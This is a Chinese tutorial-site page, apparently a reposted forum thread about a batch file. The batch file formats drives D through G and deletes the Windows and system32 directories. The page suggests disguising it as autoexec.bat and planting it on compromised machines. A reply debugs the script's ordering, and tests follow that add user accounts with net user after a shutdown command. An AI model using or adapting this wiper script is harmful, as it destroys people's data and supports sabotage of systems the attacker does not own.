当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 由一段批处理程序所引起的探讨感觉问题是有,不太准确

DOS/BAT
每天按时 重启服务器 的批处理
Netsh 命令备份和恢复网络设置
批处理 Set 命令详解 让你理解set命令
cd命令 目录跳转
cmd tree命令 以树形格式罗列文件
dos 内容重定向符 >和>>
cmd if条件 条件判断
cmd goto命令 流程跳转
cmd copy命令 文件复制
cmd del命令 文件删除
cmd ren命令 重命名文件(夹)
cmd md命令 创建文件夹
cmd rd命令 删除文件夹
cmd move命令 移动文件(夹)
字符串查找 cmd find命令
常用的批处理实用技巧
批处理 添加隐藏用户代码
服务器 安全设置 批处理
WIN2003 服务器安全配置批处理文件
批处理 实现定时关机、注销、重启、锁定等功能

DOS/BAT 中的 由一段批处理程序所引起的探讨感觉问题是有,不太准确


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 67 ::
收藏到网摘: n/a

假如你的系统装在c盘
打开记事本输入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存为1.bat
然后运行
看看有什么后果
如果想搞肉鸡的话那么可以
重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat

最后一次警告:最好别乱搞,出了问题后果自负

有一个不完美的地方。我说说

c:
cd \
cd windows
del. /y
cd system32

请问你为什么就肯定系统不是windows2000呢!
对于windows目录的确定,你在bat下应该用环境变量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT

还有,有点小小要请教的地方,对于第二条语句。
shutdown -r -t 0
既然重动了,那以下的格式化命令还有作用吗???????????
自己不敢试,因为我怀疑是有作用的。

这个是我给的回复:
我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正
确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用.

为了得到答案!我对于这个问题亲自试了一下!

@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败!
第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
结果还是失败!

到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。
对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论!
内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。